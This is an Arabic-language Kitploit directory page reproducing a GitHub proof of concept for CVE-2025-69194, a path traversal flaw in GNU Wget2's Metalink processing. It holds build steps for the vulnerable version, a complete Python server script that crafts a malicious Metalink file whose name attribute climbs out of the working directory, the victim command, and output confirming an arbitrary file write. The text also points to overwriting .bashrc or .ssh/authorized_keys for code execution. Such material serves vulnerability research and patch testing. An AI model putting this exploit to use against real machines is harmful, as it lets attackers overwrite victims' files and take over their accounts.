Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC_CVE-2025-69194 — PoC لثغرة CVE-2025-69194، وهي ثغرة اجتياز مسار في GNU Wget2 <= 2.2.0. تسمح هذه الثغرة للمهاجمين بتحقيق كتابة أو استبدال عشوائي للملفات على نظام ملفات الضحية عبر تقديم ملف Metalink خبيث بسمات أسماء ملفات معدَّلة. | Kitploit
أدوات/GitHubGitHub/secdongle/poc_cve-2025-69194
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراقالتعلم والتعليم
GitHubsecdongle/poc_cve-2025-69194

POC_CVE-2025-69194

PoC لثغرة CVE-2025-69194، وهي ثغرة اجتياز مسار في GNU Wget2 <= 2.2.0. تسمح هذه الثغرة للمهاجمين بتحقيق كتابة أو استبدال عشوائي للملفات على نظام ملفات الضحية عبر تقديم ملف Metalink خبيث بسمات أسماء ملفات معدَّلة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
11منذ 7 أشهرلم تتم المراجعة بعد

CVE-2025-69194: ثغرة اجتياز المسار في GNU Wget2

📝 الوصف

PoC لثغرة CVE-2025-69194، وهي ثغرة حرجة من نوع اجتياز المسار (Path Traversal) في GNU Wget2 <= 2.2.0 (تم التحقق على الإصدار v1.99.1). تسمح هذه الثغرة للمهاجمين بكتابة أو استبدال ملفات عشوائية على نظام الضحية عبر تقديم ملف Metalink خبيث بسمات file name معدّلة.

عندما يعالج Wget2 ملف Metalink باستخدام الخيار --force-metalink، فإنه يفشل في تعقيم تسلسلات اجتياز الدلائل بشكل صحيح (مثل ../../). قد يؤدي ذلك إلى تنفيذ تعليمات برمجية عن بُعد (RCE) إذا قام المهاجم باستبدال ملفات نظام حساسة (مثل .bashrc أو .ssh/authorized_keys) أو ملفات النظام الثنائية.


🛠️ بيئة الاختبار (Ubuntu 22.04)

لإعادة إنتاج الثغرة بدقة، نُجمّع Wget2 v1.99.1 من المصدر لضمان أن وحدة Metalink القابلة للاستغلال نشطة وغير مُصحّحة.

1. تثبيت التبعيات

root@kitploit:~
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
                     libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
                     libbrotli-dev autoconf automake libtool gettext pkg-config python3

2. تجميع وتثبيت Wget2 v1.99.1

root@kitploit:~
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig

# Verify installation (+metalink support is required)
wget2 --version | grep -E "1.99.1|metalink"


🚀 إثبات المفهوم (PoC)

1. جانب المهاجم (خادم الاستغلال بلغة بايثون)

يستضيف المهاجم ملف .metalink خبيثًا والحمولة المقابلة. احفظ ما يلي باسم poc.py:

root@kitploit:~
import os
import hashlib
import http.server
import socketserver
import threading
import time

# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt"  # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"


def create_files():
    # 1. 创建载荷文件
    with open(PAYLOAD_FILE, "w") as f:
        f.write(PAYLOAD_CONTENT)

    # 计算 SHA256
    sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
    file_size = len(PAYLOAD_CONTENT)

    # 2. 构造恶意的 Metalink 结构
    metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
  <files>
    <file name="{TARGET_FILE_NAME}">
      <size>{file_size}</size>
      <verification>
        <hash type="sha256">{sha256_hash}</hash>
      </verification>
      <resources>
        <url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
      </resources>
    </file>
  </files>
</metalink>
'''
    with open(METALINK_FILE, "w") as f:
        f.write(metalink_content)
    print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")


def start_server():
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", PORT), handler) as httpd:
        print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
        httpd.serve_forever()


if __name__ == "__main__":
    # 清理旧文件
    if os.path.exists(TARGET_FILE_NAME):
        os.remove(TARGET_FILE_NAME)

    create_files()

    # 启动后台服务器
    server_thread = threading.Thread(target=start_server, daemon=True)
    server_thread.start()

    time.sleep(1)  # 等待服务器就绪

    print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
    print(f"wget2 --force-metalink -i {METALINK_FILE}")
    print(f"\n[!] 执行后,检查目标文件是否存在:")
    print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")

    # 保持主线程运行
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[+] 演示结束,正在清理...")


2. جانب الضحية (تشغيل الاستغلال)

شغّل الأمر التالي في دليل فرعي (مثل ~/Downloads/CVE-2025-69194/) لملاحظة الخروج من الدليل:

root@kitploit:~
# Pre-check: Verify the file does not exist in the parent's parent directory
ls ../../pwned_test.txt

# Execute the exploit
wget2 --force-metalink -i exploit.metalink


📊 التحليل الفني

تكمُن الثغرة في منطق تحليل Metalink حيث يتم الوثوق بسمة name دون تطبيع.

المرحلةالوصف

📝 مخرجات نموذجية (تم التحقق منها)

كما هو موضّح في إعادة الإنتاج الناجحة، تم إنشاء الملف pwned_test.txt على مستويين أعلى من مجلد التنفيذ:

root@kitploit:~
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory

lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'

lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194


version poc test

⚠️ إخلاء مسؤولية

هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرَّح بها فقط. المؤلف غير مسؤول عن أي ضرر ناتج عن إساءة استخدام هذه المعلومات. الوصول غير المصرَّح به إلى أنظمة الكمبيوتر محظور تمامًا.

تنزيل الأداة
الإدخال
يقرأ Wget2 <file name="../../pwned_test.txt">.
التجاوزلا يتم إجراء أي تحقق لمعرفة ما إذا كان المسار يحتوي على ../ أو يحاول مغادرة دليل العمل الحالي (CWD).
الكتابةيفتح Wget2 المسار المُحلَّل CWD + ../../pwned_test.txt ويكتب الحمولة المُتحقق منها.